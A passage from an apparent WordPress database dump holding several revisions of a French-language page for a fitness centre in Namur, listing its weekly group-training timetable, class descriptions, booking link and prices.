fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:52:06', '2015-04-21 08:52:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(473, 1, '2015-04-21 08:51:37', '2015-04-21 08:51:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 08:51:37', '2015-04-21 08:51:37', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(468, 1, '2014-12-15 19:45:31', '2014-12-15 19:45:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:45:31', '2014-12-15 19:45:31', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
